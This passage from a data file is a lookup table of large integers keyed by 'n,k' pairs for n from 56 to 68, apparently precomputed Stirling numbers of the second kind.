'56,49':1410352398364284375,
'56,50':8735311973699025,
'56,51':43903445772186,
'56,52':174318735591,
'56,53':525591990,
'56,54':1129590,
'56,55':1540,
'56,56':1,
'57,1':1,
'57,2':72057594037927935,
'57,3':261673816441622674568827825,
'57,4':865382548081988127103611133744890,
'57,5':57823250483214650917370891498972411151,
'57,6':314201936995125734473838498941351258529358,
'57,7':293557454987937335052796964924981256411818406,
'57,8':73941289235341072031424593672765857563783056388,
'57,9':6718886705941100321863614786038072911439412907813,
'57,10':268817285949965408441718503708067211661594495180900,
'57,11':5458770390338122510898460979592769572761552733338028,
'57,12':62481702931255848359915548713471726696268075244962824,
'57,13':436497737978983504547294659660368827064400060277847628,
'57,14':1979781574551307178799462414494890699616109426629972400,
'57,15':6122422550578522583312662061366547559960246562146633520,
'57,16':13429000406898073744442458404125820750936794438148636696,
'57,17':21577804332755782725897053254178918595032218383670997586,
'57,18':26088142666182311529217626347403098530327265567460644025,
'57,19':24271690870024673700573867646483334576702018235067767775,
'57,20':17710457068641791017802765101803370910058800614233894150,
'57,21':10300923579516378793913430799182794092452709333322102365,
'57,22':4842784347479055398215587858316383337299125153850177450,
'57,23':1862623127739755373364039343390993624223406785302059650,
'57,24':592269996482342790612188275522836163935326915027221500,
'57,25':157128265586175346913513484320756640354696027310744245,
'57,26':35059738793935300845234133819307932619062453786749192,
'57,27':6625752065315309937440817456135597411272648884276824,
'57,28':1067119693063032138391351786371577295046478490534192,
'57,29':147262765741968374714671589810372815776829336880792,
'57,30':17495727362791175633991754024872273187593113518800,
'57,31':1796898787365977283642804118676467937832040425424,
'57,32':160110715144324110179189491371191478796752543552,
'57,33':12415170186753591459208992033211175525276699474,
'57,34':839929273965284354916765474112766937434338050,
'57,35':49683834677549811218629507270716869562552510,
'57,36':2573970712085677431194752226823021671684172,
'57,37':116937689871744620700609597979666549257842,
'57,38':4662583394345453896371402701720942472900,
'57,39':163225253914078690360251488704624082900,
'57,40':5016547508983831904472866365266886200,
'57,41':135280627507160626188376766005927470,
'57,42':3197461082327654930085096896189400,
'57,43':66127742665684256457470080110600,
'57,44':1193849416251617919520621910400,
'57,45':18756109043266294160777846040,
'57,46':255387507865080941352027480,
'57,47':2998221583117736278244760,
'57,48':30148123668231611722680,
'57,49':257463999971973975180,
'57,50':1847117997049235625,
'57,51':10974387708080511,
'57,52':52968020022918,
'57,53':202175111061,
'57,54':586589850,
'57,55':1214290,
'57,56':1596,
'57,57':1,
'58,1':1,
'58,2':144115188075855871,
'58,3':785021449396925617744411410,
'58,4':3461530454001768950037119103807385,
'58,5':289117117798621336574981561105995800645,
'58,6':1885269445221237621493948364539606523587299,
'58,7':2055216386852556471104052592973810146141258200,
'58,8':591823871337716513586449546347051841766676269510,
'58,9':60543921642705243968803957668015422060518499226705,
'58,10':2694891746205595184739048651866710189527384364716813,
'58,11':60315291579669313028324789279228532512038674561899208,
'58,12':755239205565408302829885045541253489927978455672891916,
'58,13':5736952296658041407474746124298266478533468858856981988,
'58,14':28153439781697284007739768462588838621689932033097461228,
'58,15':93816119833229145928489393334993104099019807858829475200,
'58,16':220986429060947702494391996527379679574948957572524820656,
'58,17':380251674063746380084692363725167436866484506960555595658,
'58,18':491164372324037390251814327507434692140922998597962590036,
'58,19':487250269196651111840121111630586455487665612033748231750,
'58,20':378480832242860494056629169682550752777878030519745650775,
'58,21':234029852238485745689984811884642046851565696613998043815,
'58,22':116842179224055597554656363682143227513033462718026006265,
'58,23':47683116285493428985588492756309236694437481215797549400,
'58,24':16077103043315982348056557955939061558671252745955375650,
'58,25':4520476636136726463450025383541752172802727597795827625,
'58,26':1068681474228493168889600963622762888450319825766223237,
'58,27':213955044557448669156136205134969062723423973662223440,
'58,28':36505103471080209812398667474539761672574046619234200,
'58,29':5337739899580115005116827890872388952574529260077160,
'58,30':672134586625703643734424210556541011404622742444792,
'58,31':73199589771136471426918681703842779260386366706944,
'58,32':6920441671984348809376867842554595259328121819088,
'58,33':569811331307192628333086228467160271130883626194,
'58,34':40972765501573259526379018153045251398044193174,
'58,35':2578863487679527747568798228587857372123675900,
'58,36':142346780312634198741640587436345649743182702,
'58,37':6900665237340228397117307352070683994224326,
'58,38':294115858856871868762722900645062363228042,
'58,39':11028368296994522820421210761201281706000,
'58,40':363887154273431966539166143315299530900,
'58,41':10563053236777417578196313771509912470,
'58,42':269573992964922133251950835645882270,
'58,43':6040954016952077957756310340945200,
'58,44':118657116980755444916377444168200,
'58,45':2037874323198601156755624982200,
'58,46':30503934405060017462971110120,
'58,47':396303922271614546429531200,
'58,48':4445331519192853640933400,
'58,49':42763859666858336506500,
'58,50':349819899824435756430,
'58,51':2406811770161341686,
'58,52':13728724749272247,
'58,53':63683300909151,
'58,54':233850962961,
'58,55':653375800,
'58,56':1303666,
'58,57':1653,
'58,58':1,
'59,1':1,
'59,2':288230376151711743,
'59,3':2355064348334892041309090101,
'59,4':13846122601028525197074094159640950,
'59,5':1445589050523560684643857842649082810610,
'59,6':11311905788445224350300265168798745137324439,
'59,7':14388399977413116535349862099181210629512394699,
'59,8':4736646187088584665162700423369388544279551414280,
'59,9':545487118655684912232822068558485850386433169309855,
'59,10':27009461383698657091359290476335117317334362146394835,
'59,11':666163099122568038496311730723380567821952804545608101,
'59,12':9123185758364568946986945335774270411647780142636602200,
'59,13':75335619062119946600001584661418717710863073620813657760,
'59,14':399885109240420017515831504600542007182192517322221439180,
'59,15':1435395237280134472935080668487485400106987049915539589228,
'59,16':3629598984808392385838761337773067977298203129019226605696,
'59,17':6685264888144636163934162179855226106305185575901969946842,
'59,18':9221210375896419404617350258858991895403098481723882216306,
'59,19':9748919487060408515214115448488577346406569627239178993286,
'59,20':8056866914053860992972704505281601511045226222428661247250,
'59,21':5293107729251061153546310219260033736660757659413704570890,
'59,22':2804557795167708891892424812891793052138301876410570181645,
'59,23':1213553853790404464223191697077255671485095530681369642465,
'59,24':433533589325077005338945883698846714102547547118726565000,
'59,25':129089018946734143934307192544482865878739442690851066275,
'59,26':32306194966077548854579650437733587272511043067717631787,
'59,27':6845467677279607236105278502266927581982767114646256117,
'59,28':1236097941747694543903298894422082389555497279000781040,
'59,29':191299560558903544960786676309839041297235395161471840,
'59,30':25501777498351224317149554207568619294713211533420920,
'59,31':2941321869530934257968903343375667168476600110360056,
'59,32':294653723274635633326978452665589827558886264917760,
'59,33':25724215605121705544368713381970884206647281483490,
'59,34':1962885358360683452229972845670698818664386194110,
'59,35':131232987570356730691286956153620259422372849674,
'59,36':7703347578934358902267859376296300762878253172,
'59,37':397671394094222649434980959462960957529482764,
'59,38':18077067873901359410100777576583053796889922,
'59,39':724222222439658258759150120331912349762042,
'59,40':25583854467931801481987856493813262942000,
'59,41':796972336981306087245215007947205942170,
'59,42':21885160941304147174778248868636967810,
'59,43':529335015693861485435472180306525870,
'59,44':11261867164105317534076917884346000,
'59,45':210361461524692496970380568367200,
'59,46':3441055305831361960052296047720,
'59,47':49130218751825901145159076520,
'59,48':609679835192871521194334400,
'59,49':6540760642868912129751900,
'59,50':60254854658080124328000,
'59,51':472567300102664182416,
'59,52':3120705457123498530,
'59,53':17103939697457250,
'59,54':76311252909045,
'59,55':269786631961,
'59,56':726381096,
'59,57':1397887,
'59,58':1711,
'59,59':1,
'60,1':1,
'60,2':576460752303423487,
'60,3':7065193045292906500078982046,
'60,4':55384492759178449123188417947653901,
'60,5':7227959098740404451744486287339573694000,
'60,6':67872880319721869662486234870635119906757244,
'60,7':100730111747680260971799334959437273151724087332,
'60,8':37907557896686090437836953249054289564865923708939,
'60,9':4914120714088252794760561317449742042022178075202975,
'60,10':270640100955642255825825726831909659023730054633258205,
'60,11':7354803551731947080550788328433521363358815212148083946,
'60,12':110144392199497395402339655760014625507595314516184834501,
'60,13':988486233565923874747007545934217600652867737213214153080,
'60,14':5673727148428000191821642649069006818261558316131913806280,
'60,15':21930813668442437111542041531912823008786998266055315277600,
'60,16':59508978994214412646355262072856573036878237114223165280364,
'60,17':117279102083267207172719518395311911784486357919352715702010,
'60,18':172667051654280185447046466839317080223560958246931849840350,
'60,19':194450680630044181193685543780141961477127921399268283088740,
'60,20':170886257768137628374668205554120607567311094075812403938286,
'60,21':119212129228326145217445219109742309980921137070116457235940,
'60,22':66993379222940656775179656102879480883703398940446248567080,
'60,23':30716296432347011569025833845668673496295499082082071958340,
'60,24':11618359997592252592357892905849576809946236661530807202465,
'60,25':3660759062993430603696625697310918361071033614390003221875,
'60,26':969050088064750414153378103925556134964026562451509492737,
'60,27':217133822252626944229422169998940631986045755163166546946,
'60,28':41456210046215054465397647546085234489536690926668125237,
'60,29':6783785197955897347766112507407414587175323738683464400,
'60,30':956352885509440274475273302536897620138631741164099440,
'60,31':116682755453810186314185557852214301517487814954582656,
'60,32':12370241014319274524432213828674541650360960587728376,
'60,33':1143552838243651916291145994270629006378246553872930,
'60,34':92462317789384942920187790134774644041236412083230,
'60,35':6556039923323169026425016311047407898447435932700,
'60,36':408553500411993651172929893700287086885989963866,
'60,37':22417189160420596931362154876425856191469115440,
'60,38':1084599973302474307018810507373117001811299800,
'60,39':46321734549048031501707632269527635437609560,
'60,40':1747576401156930318038664380084442867442042,
'60,41':58259720284165351059041671819648706570970,
'60,42':1716149096516080268585901460429958590190,
'60,43':44646566616140191048503552621817580220,
'60,44':1024857170914495456934856567217749870,
'60,45':20728132932716479897744043460870000,
'60,46':368650005592935147132786186562320,
'60,47':5750175587167179313874772644160,
'60,48':78394850841083734162487127720,
'60,49':930177106693448215552177500,
'60,50':9553503375772918346151900,
'60,51':84355786963315997631216,
'60,52':634843983873086105976,
'60,53':4027214261088732780,
'60,54':21224747354545680,
'60,55':91149517666900,
'60,56':310463973337,
'60,57':806060655,
'60,58':1497125,
'60,59':1770,
'60,60':1,
'61,1':1,
'61,2':1152921504606846975,
'61,3':21195579136455180252540369625,
'61,4':221537978101906841785660171869597650,
'61,5':36139850878194781437171554625115816123901,
'61,6':407244509877429958379369153710098059014237464,
'61,7':705178655114081548672257830950931547181975368568,
'61,8':303361193285236403763667425327393753792079113758844,
'61,9':44264993984690961243282888810296732667764468600535714,
'61,10':2711315130270510811053017829636546332279322724407785025,
'61,11':81173479170007060141884497339600644655970697388262181611,
'61,12':1329087509945700691908626657448609027454502589406366097958,
'61,13':12960465428556507767113437752904843433994875898287968824541,
'61,14':80420666311557926560250004632900313056314684163060007441000,
'61,15':334635932175064556864952265627761351950066532306961642970280,
'61,16':974074477575873039453226234697617991598838792093625959763424,
'61,17':2053253714409756934582587074793159073373146321743219332214534,
'61,18':3225286031860310545219555921503019355808583606364126012828310,
'61,19':3867229983625119628127071798662014348288991464833029228526410,
'61,20':3612175835992796748687049654862554112823349802915516361854460,
'61,21':2674340971562986677941017806858709117166654972548258005893026,
'61,22':1593066472133020594271397653373090889422395913759933925711700,
'61,23':773468197166921922862773834553258971298499877828333903608900,
'61,24':309556936374561073785615263586058516935005178958821444817500,
'61,25':103137336572428017684773535338622535836722077021280887749340,
'61,26':28856061352676941371684456399375377870135724238129250033037,
'61,27':6831663288885677908347776693896953198587261951857006260279,
'61,28':1377907703546648469260556301289327197693073101109874053582,
'61,29':238185980786936077550614910260900257517621079348488592837,
'61,30':35474371763239105582024311583514343191334275973606447600,
'61,31':4573518304577556050215025595955540967180754004756161776,
'61,32':512530467912026971096016400369799634329038553761890688,
'61,33':50107484676359787762040031639605298860843096865535066,
'61,34':4287271643082739975577530858852966903780284564702750,
'61,35':321923715105695858845063361021433920486896669727730,
'61,36':21263965938154940468650492484257743026343074631876,
'61,37':1237989499347555737633329624128043765970347235146,
'61,38':63631988145914620598076954156604302260298507840,
'61,39':2891147620715347535585408165884694783878072640,
'61,40':116224790595325244223254207472905350135291240,
'61,41':4136224932807709711459372924690039836851812,
'61,42':130337982337840722339649533157706967358950,
'61,43':3635951461010108483671554223168114539650,
'61,44':89740282136377991153637241579398574500,
'61,45':1957623152886737052333338522956899870,
'61,46':37686033189991496665852208042736720,
'61,47':638908258189792574884900500837840,
'61,48':9513128427539198553674154774720,
'61,49':123973529069062696724543825220,
'61,50':1407852275482094132859772500,
'61,51':13855648510902034225343916,
'61,52':117367674124716475141968,
'61,53':848286339710788943316,
'61,54':5173350618234199500,
'61,55':26237970826225180,
'61,56':108535500173772,
'61,57':356409430672,
'61,58':892893905,
'61,59':1601555,
'61,60':1830,
'61,61':1,
'62,1':1,
'62,2':2305843009213693951,
'62,3':63586737410518462262227955850,
'62,4':886151933603206503597820940018760225,
'62,5':180699475928952009092699558785750950217155,
'62,6':2443503199115457945057652093815213469901548685,
'62,7':4936657830308448270664184185810230928332841817440,
'62,8':2427594724937005311658011660450100961883814885439320,
'62,9':398688307055503887593309666717997987763672296518580270,
'62,10':27157416296689799071773461185175760055460991712678385964,
'62,11':895619586000348172371782488565243637547956993995291782746,
'62,12':16030223598518415363045404386722908974110001770264655357107,
'62,13':169815138081180301664383317445211573669387889267149960816991,
'62,14':1138849793790367479610613502613509226222400454181128072998541,
'62,15':5099959648937526279534533989049320592307312668767484651995200,
'62,16':15919827573389033188116572020789649217531487205804976999185064,
'62,17':35879387622541740927357206506181322238942326261728354607410502,
'62,18':60108402287895346748534593661847507477927651236297487563124114,
'62,19':76702655720737583479633920096081291973299421438191681354830100,
'62,20':76110746703481054601868064895913096604755987523143356465615610,
'62,21':59773336238815516985448423598895445573323104226428934485608006,
'62,22':37721803358489439751911766181066708684459365075266804371550426,
'62,23':19382835006972224820115195848098047229287893103811613708716400,
'62,24':8202834670156387693717540160618663377738624172840048579228900,
'62,25':2887990350685261515904953647051621912853057104490843638551000,
'62,26':853394931742028493348569401722382360460250907212641388608302,
'62,27':213310970152590244897074427134593114231991796938268419060570,
'62,28':45413078988191835047643353129998114733993308782933479760575,
'62,29':8285301146367794718228388698855434665704084402216043245855,
'62,30':1302417133684109245011344257766330553257649358556682020837,
'62,31':177253439205143343138690105058136113173937650121047462656,
'62,32':20974493277762419125287550407789129265709987725136663792,
'62,33':2166077462231899967243337444476774496736860750324547866,
'62,34':195874720541172946931676080840606173589372772065428566,
'62,35':15554601671782095035154748494603154120821668005173300,
'62,36':1087426488879273715716481090454712669435247356475266,
'62,37':67069577414014502761083688576995362367245922332278,
'62,38':3656005048892311320360253882079007251861690533066,
'62,39':176386745353813174485907872626107398831543340800,
'62,40':7540139244528357304515576464800908789289722240,
'62,41':285810012840441342393088497385196983446215532,
'62,42':9610420190997020049724653317313732465927712,
'62,43':286683895161275387137526364753935892563900,
'62,44':7584523875010740094431592852661651817650,
'62,45':177833324016281158508637475112459068650,
'62,46':3691180679626345898962540092922788990,
'62,47':67714721324911747685442531582115200,
'62,48':1095538422711674105461259930024400,
'62,49':15587831351923270693176802210500,
'62,50':194366142843167403367532450220,
'62,51':2114490349538097878352312216,
'62,52':19958767565387290932726252,
'62,53':162326850129388289137716,
'62,54':1127647273095435716316,
'62,55':6616439013676584400,
'62,56':32315958835956412,
'62,57':128850837722076,
'62,58':408197277162,
'62,59':987385650,
'62,60':1711355,
'62,61':1891,
'62,62':1,
'63,1':1,
'63,2':4611686018427387903,
'63,3':190760212233861229795897561501,
'63,4':3544607797999563424909746022302996750,
'63,5':903498265796693648670001391749694769846000,
'63,6':14661199894168676622355005262450066570359509265,
'63,7':34559048315358253352594346952765431711799794270765,
'63,8':19425694457326350941534757467786617925998851925332000,
'63,9':3590622358224471993651445012122431990834934483552661750,
'63,10':271972851273953494605327921518475598542373589423302439910,
'63,11':9878972862300519695161380835402855773082987925660887996170,
'63,12':193258302768221332528916635129240151326867978237171156068030,
'63,13':2223627018653862337000028531174473366676152562243214145977990,
'63,14':16113712251146325016212972354034340740782994247802942982796565,
'63,15':77638244527853261672628623338353318110832090485693397852926541,
'63,16':259817200823162057289399686321683708072811107961647116638956224,
'63,17':625869417156598628953189082625872127279551033655187005325163598,
'63,18':1117830628804657982400979892419436456841640048515083130743644554,
'63,19':1517458860981909432861579075487392054970616658561939433304896014,
'63,20':1598917589790358675516995218014343224068419171901058810667142300,
'63,21':1331350807718606911296284960472717453644541176278150980663383736,
'63,22':889653010125583191527507279582363036631429135882298630659717378,
'63,23':483527008518850610614561270687321794958080906462933919672027626,
'63,24':216250867090725529469336159702945968295014873251972779610210000,
'63,25':80402593437287925591341381336909211199065051785111139543003900,
'63,26':25076258575978002342967758091833563284819580692019519742366852,
'63,27':6612791125861965105569578934356396444724029424545888703243692,
'63,28':1484877181821961626231088314774540326783804442860405852356670,
'63,29':285686812232857881876266625396805720039411756447198733890370,
'63,30':47357815156891072068568716431845351263433565158916503870965,
'63,31':6797273749043552882310737514568550061649716512309153363173,
'63,32':848437224093540755147891718107388249676657257325420704000,
'63,33':92455049531415118044317686075522687658026392485846743370,
'63,34':8825817960631780162920324193057384398775535000549119110,
'63,35':740285779053546273162092278151716567818131152246494066,
'63,36':54701955271435948800948067750972810220490572838282876,
'63,37':3569000853197810317876577567803541077023346482769552,
'63,38':205997769271922332934773336095997637937990162588786,
'63,39':10535088117691025125310660914497195806291880824266,
'63,40':477992315134947466666530931218143750403132230400,
'63,41':19258349770986452342632204857593985110584559052,
'63,42':689447660862316184481523936712373747015179436,
'63,43':21937827682931861696638287001732975846175412,
'63,44':620402945661747951292516450271048572540500,
'63,45':15587023455743392227320279232722309906900,
'63,46':347627635279093069860914319386907362190,
'63,47':6873772581897198040178339077282203390,
'63,48':120300565615072104747583008223286400,
'63,49':1859342158955914369426923238338900,
'63,50':25306138494081640861553424721500,
'63,51':302205150669610395163500373236,
'63,52':3152346262938237006854077320,
'63,53':28562090622244870257025200,
'63,54':223219802876541817818780,
'63,55':1491551418847647858316,
'63,56':8426132708490143472,
'63,57':39660456586114744,
'63,58':152526279797472,
'63,59':466453030512,
'63,60':1090066950,
'63,61':1826706,
'63,62':1953,
'63,63':1,
'64,1':1,
'64,2':9223372036854775807,
'64,3':572280636706195375406120072406,
'64,4':14178431382758465933500213885109548501,
'64,5':4517494873591266242913431868494496152226750,
'64,6':87968102863277856427778701576092149116926901590,
'64,7':241927999407401942144782783674620472049168919404620,
'64,8':155440114706926165785630654089245708839702615196926765,
'64,9':32335026918477574293804539866569674535440409203899287750,
'64,10':2723319135097759418046930660196878417414570828716577060850,
'64,11':108940674336579670141380517110949889102455240771693070397780,
'64,12':2328978606080956510042161002386284671695498726771714760812530,
'64,13':29100409545268431713529287540397393918116851287398955053781900,
'64,14':227815598534702412563981641487655243737638072031484415905129900,
'64,15':1180687380168945250105642322429334112403264351533203910776694680,
'64,16':4234713457698446178303023604485292647275809817872047264076226125,
'64,17':10899597292485338749493614090961509871825178680099826207166737390,
'64,18':20746820735640442312170827146175728350429071906926683358710765570,
'64,19':29949548987460937206770982326679885501283356561191932363536668820,
'64,20':33495810656789082943201483435774256536339000096583115646647742014,
'64,21':29557284551881103812738979387941409750603783873742229404598200756,
'64,22':20903717030481437124901445111284704259535982165688720855177166052,
'64,23':12010774206059147235662416505390764320667289984529778783116352776,
'64,24':5673547818696263317878629103558025034038437864510280630317067626,
'64,25':2226315703022923669252870693125676248271641167879751268185307500,
'64,26':732385316412715986508503091724581856604374149777618652844542052,
'64,27':203621618974251060193346389319456267292368375154758514729946536,
'64,28':48189352216876890640040051748043525594670553824637252569230452,
'64,29':9769794736574840200642820451281906207926745379829169135177400,
'64,30':1706421266939590043933328118352166257942418711214693850019320,
'64,31':258073301377241211420201579383470403174574777040500258129328,
'64,32':33947264920036857047043272494004974051302748746722615891173,
'64,33':3899453858630239650610375358599636942391528209358363235210,
'64,34':392532860192895643583608708639473757216394582504516793110,
'64,35':34735820227505899723593553928367464272410125329176411420,
'64,36':2709556168825240429996222717186737735755791774424677602,
'64,37':186754986839754930562381437759703830070354392700756300,
'64,38':11396916085530858969397964339451451318666972661143420,
'64,39':616866205861872312821889111761388274383373514735160,
'64,40':29654780723088923791971898163222945822417170040266,
'64,41':1267584655745392012714451330379497139937099151532,
'64,42':48215151527203732090856210199513682485222095364,
'64,43':1632774251228386237436970277786891708400722152,
'64,44':49235557292048771553509010813659113037957412,
'64,45':1321819001170200601521929015743552518351000,
'64,46':31577894678581673440922337924520048567640,
'64,47':670694946628261377749296256019170921520,
'64,48':12648199731420659068062323471999950590,
'64,49':211408331403911908849502246901892500,
'64,50':3124649083659996412504594474413900,
'64,51':40718601178231771014891943756536,
'64,52':466127156342398719519912393876,
'64,53':4666137065917215130476412920,
'64,54':40615959977578128419239320,
'64,55':305255130913162450026160,
'64,56':1963414850523095892748,
'64,57':10686778733898683880,
'64,58':48506980814368120,
'64,59':180047008597680,
'64,60':531857047512,
'64,61':1201496016,
'64,62':1947792,
'64,63':2016,
'64,64':1,
'65,1':1,
'65,2':18446744073709551615,
'65,3':1716841910127809498255214993025,
'65,4':56713726103314500440196230946558266410,
'65,5':22587488546387713973033092842686365870682251,
'65,6':527813134674540729832915122888421389197713636290,
'65,7':1693583963954676872869907264423919396493299362733930,
'65,8':1243762845654816728227190015497640291189670090494818740,
'65,9':291170682381005094810026489453216316527803385450290516515,
'65,10':27265526377896071754763111141835353848681148696369669896250,
'65,11':1201070736837474130973232618880645658544422219317340351436430,
'65,12':28056683947308057790647312545746365949448439962032270200148140,
'65,13':380634302694570568785922899027552405607214565462958130459977230,
'65,14':3218518789031102207609272268367570806245049859728180777725600500,
'65,15':17938126301068881164148616477927666929786603345029543077555550100,
'65,16':68936102703344084102954019994194016468816221437485960135996312680,
'65,17':189527867429949204919694463150830960468303847379569092785910761755,
'65,18':384342370534013300368568502722124620179548473004780126663960517650,
'65,19':589788251497398249240819491353093552874812846569573398265907473150,
'65,20':699865762123242596070800651042165016228063358492854245296491509100,
'65,21':654198786246292263010720050582543861299018461445169933143209957890,
'65,22':489439059222472720560570771836204903460395391518894088218495853900,
'65,23':297151523769841823545137024735272283634883651809873632866853279900,
'65,24':148175921854769466864749514990783365137589798732776513910725975800,
'65,25':61331440394269355049200396431699931240829467061504062334949755126,
'65,26':21268333929753539318473951077964804519985369062097836242143400852,
'65,27':6230169028717494611728855603349901073498320278956098550553098524,
'65,28':1552923481046803998114467838264674983943143882244601586668399192,
'65,29':331513399577547256458681844835218805624546169839683157489375052,
'65,30':60962432744762541518642664001846893946199306716269984635757000,
'65,31':9706693609634067597959577079239748756354236799470201852028488,
'65,32':1344385778818420636925586299191629572816262736935623966646864,
'65,33':162629242254834765517185659327792993150223179655548602653103,
'65,34':17245571105188691532453071452341744687748944014511934200950,
'65,35':1608286568155602133909383096132335006750748969025691192810,
'65,36':132279842305214555203457571747090022759618629208464805092,
'65,37':9619490681896172860804335914295779448358904304352660702,
'65,38':619837798089927571399504082658858980179699353824206260,
'65,39':35454698114143879169451639698145594019618539735814660,
'65,40':1803057434785429264500765038290306107280060316345800,
'65,41':81625751608649996313264402708782328559838235253078,
'65,42':3292621019887948760530412158759071804316427156820,
'65,43':118424444330024340300645932144350025946453147900,
'65,44':3799138772078532185791366753587892682070848280,
'65,45':108717412344707798621995816522118976363752412,
'65,46':2774402156384957579804356560271474752462440,
'65,47':63100557170109958195139261957421081879080,
'65,48':1277808533736453013016287782675168549840,
'65,49':23007207970212342601687933570192683090,
'65,50':367640785586911729474731970622587500,
'65,51':5201297743749816734264083605997236,
'65,52':64957213308036504429927388238088,
'65,53':713432420836011121435162278636,
'65,54':6859398904706434065115336200,
'65,55':57404992177802063170678120,
'65,56':415206362542455820020048,
'65,57':2572561238355320873908,
'65,58':13500183621132034840,
'65,59':59129754321631240,
'65,60':211958431448400,
'65,61':605148304488,
'65,62':1322259120,
'65,63':2074800,
'65,64':2080,
'65,65':1,
'66,1':1,
'66,2':36893488147419103231,
'66,3':5150525730401875238839354530690,
'66,4':226854906130099911888594422041448058665,
'66,5':112937499445664673179665904409662775911677665,
'66,6':3166901395535790766711463770423371021552152499991,
'66,7':11855615560817412650819183766090324196842293252773800,
'66,8':9951796349202488502690390031245546248913854023321283850,
'66,9':2621779904274700670018465595094444489041420139143109467375,
'66,10':272946434461341722642441137907806754803339290349146989479015,
'66,11':13239043631590111512460321918828937597837325561187113535696980,
'66,12':337881278104534167618740983167837037051925701763704582753214110,
'66,13':4976302618976725452007644999903927638843237790980487966179852130,
'66,14':45439897349130001475315734656173543693037912601657489018618384230,
'66,15':272290413305064319669838519437282574753044100035171326941058852000,
'66,16':1120915769554574226811412936385031930430846146344804905253496552980,
'66,17':3290909849012480567737759893558320344429981626890160537496479262515,
'66,18':7107690537042188611553927512149074123700176361465611372737200079455,
'66,19':11590319148984580035944138838430902124800992557826674693716202507500,
'66,20':14587103493962250170656832512196393877436080016426658304195737655150,
'66,21':14438040273295380119295921713275586103507451048841422841303900624790,
'66,22':11421858089140692115343277030979051737427717074860839873950118743690,
'66,23':7323924105928834662098722340747467427062719383145987644156121291600,
'66,24':3853373648284309028299125384514073046937038821396509966724276699100,
'66,25':1681461931711503343094759425783281646158326475270378072284469853950,
'66,26':614308122567861377329523124458784848760449062676047804630678177278,
'66,27':189482897705125893835153052368412133504440016593912497107077061000,
'66,28':49712026498028006558933955074760800623906348981804942977268275900,
'66,29':11166812068795674435416241338486020347054982807595413153860275700,
'66,30':2160386381920423502017961764890625624010525371327782696562085052,
'66,31':361869934643418637055389553458279105393180647499846242048640128,
'66,32':52727038531823527979578338653371895086474644381410168784728136,
'66,33':6711150773227967898992713057008798346773627665568727854199263,
'66,34':748978659831250277620590088707412312533687276148954365485403,
'66,35':73535600990634766219281479816973469924025157930411125949300,
'66,36':6370360891143326121233855679027575826097019620530424176122,
'66,37':488200997535372951053218000576033862348898088469513251066,
'66,38':33173327009313420573985491055332420695187479749672498582,
'66,39':2002571024541538859008118030886537146944822403520978000,
'66,40':107576995505561049749482241229757838310820952389646660,
'66,41':5149713250740079113344605549350381578233427961721998,
'66,42':219915834443943844255541713376663344341128175839518,
'66,43':8384872126078995393458187240966122920013912516520,
'66,44':285586550301479756475466069302217303957570472220,
'66,45':8691422327590383123781178497083246618439706820,
'66,46':236339911538415847292996218294606814977024652,
'66,47':5740128343380125614975901872270265600779200,
'66,48':124435366789459702819921075525829172271400,
'66,49':2405161724276857800498996527614610021250,
'66,50':41389247249557929075424532101322058090,
'66,51':632906970518152382922200234528446536,
'66,52':8579072835767714964620307794377812,
'66,53':102769131612345093865990989005796,
'66,54':1083839961690158560951390433436,
'66,55':10016673474485547539502632800,
'66,56':80656548480179589091800808,
'66,57':561842353128709109832804,
'66,58':3355571888380978894628,
'66,59':16988839126108278000,
'66,60':71847260208535240,
'66,61':248872478022168,
'66,62':687128369928,
'66,63':1452971520,
'66,64':2207920,
'66,65':2145,
'66,66':1,
'67,1':1,
'67,2':73786976294838206463,
'67,3':15451577191242519204665482695301,
'67,4':907419629670925377956252927005146765350,
'67,5':564687724083229495998241410642735921006446990,
'67,6':19001521310714190264941962288444635792088826677611,
'67,7':82992475827117424346500997826402692748917604921916591,
'67,8':79626226409180725434173939433730460315507674479823044600,
'67,9':23605970934821508518668880745881245947621695106311306490225,
'67,10':2732086124517691927094429844673161992522434323630613004257525,
'67,11':145902426381952568359705982245026120331013920463407395882145795,
'67,12':4067814380886000122937352119932873382220945746725642106574266300,
'67,13':65029815324801965043718125981918896342014016984510048143091291800,
'67,14':641134865506796746106427930186333539341374014214185334226837231350,
'67,15':4129796096925094796522893526215412164988699413129227393134501164230,
'67,16':18206942726178251948652445501597793461646582441552049810997003699680,
'67,17':57066383202766743878353331126876477785740533803477534042693644015735,
'67,18':131229339515771875575708455112241654571033156133271165246766080692705,
'67,19':227323754367749209294492565442336214494919034960172430553345047721955,
'67,20':303332389028229583449080789082358779673522592886359840777630955610500,
'67,21':317785949233165232675871188490983702051092552042096537971577650775740,
'67,22':265718918234390606656848016394814724326917226695779900068206512985970,
'67,23':179872112525503889343613890868170802559870262887218555689540908450490,
'67,24':99804891664752251341277731569085220553551651096662226845538762070000,
'67,25':45889921941071892605668111029096114200895200703155961773836023047850,
'67,26':17653473118475899153662360661711687713930002104847620992682102463178,
'67,27':5730346360606260510878655538405912453380329510711685226521758824278,
'67,28':1581419639649910077485303794461714550973817788084450900470588786200,
'67,29':373549576493102565186004953890855390688500850402071924439216271200,
'67,30':75978403526408379495955094285204789067370743947428894050722827260,
'67,31':13378354355866401250735037922097277891199125443823016200069929020,
'67,32':2049135167661771532401896390366179748160369267704971643159940480,
'67,33':274195014048346468646337869534662240530004357345178187973303815,
'67,34':32176425207490477338092776073060816972918995054633176280702965,
'67,35':3322724694503467095295441882301483759874567803713343773710903,
'67,36':302868593071794506583700284261966199663517864269506396289692,
'67,37':24433797799952125310202921700340828733006248893902414465564,
'67,38':1748787423889282932864666660678665848766022318957068197182,
'67,39':111273596966433436075302094259907369426035553486990640582,
'67,40':6305650844763980848987407680076850679377660499106844400,
'67,41':318715238785904293396611068753123483018391498820248578,
'67,42':14386178297385720572077357511170242040560811346981754,
'67,43':580465335865340646174243764738206629901726414049878,
'67,44':20950680339344104678378694290263684294147013294200,
'67,45':676700555043046997045619101670963401787357279120,
'67,46':19563058258357512099259004538635160107382840812,
'67,47':506125943677281751196863606291309298213647052,
'67,48':11713025949274191350332113497510065869806400,
'67,49':242288291279025735044371905378945063312650,
'67,50':4474624086754754254270223132680712925750,
'67,51':73667502745983700604456744062272831426,
'67,52':1079018757978073561082456239836092760,
'67,53':14025836811222004939517830211685000,
'67,54':161296489543613656157366072411340,
'67,55':1634757002786863675624035237436,
'67,56':14533440189375604528643478048,
'67,57':112681562608516008352270636,
'67,58':756465522654805885721228,
'67,59':4357913396821367296628,
'67,60':21299674738620392400,
'67,61':87028481367887488,
'67,62':291474436957704,
'67,63':778665575688,
'67,64':1594278400,
'67,65':2347345,
'67,66':2211,
'67,67':1,
'68,1':1,
'68,2':147573952589676412927,
'68,3':46354731573801344590291286292366,
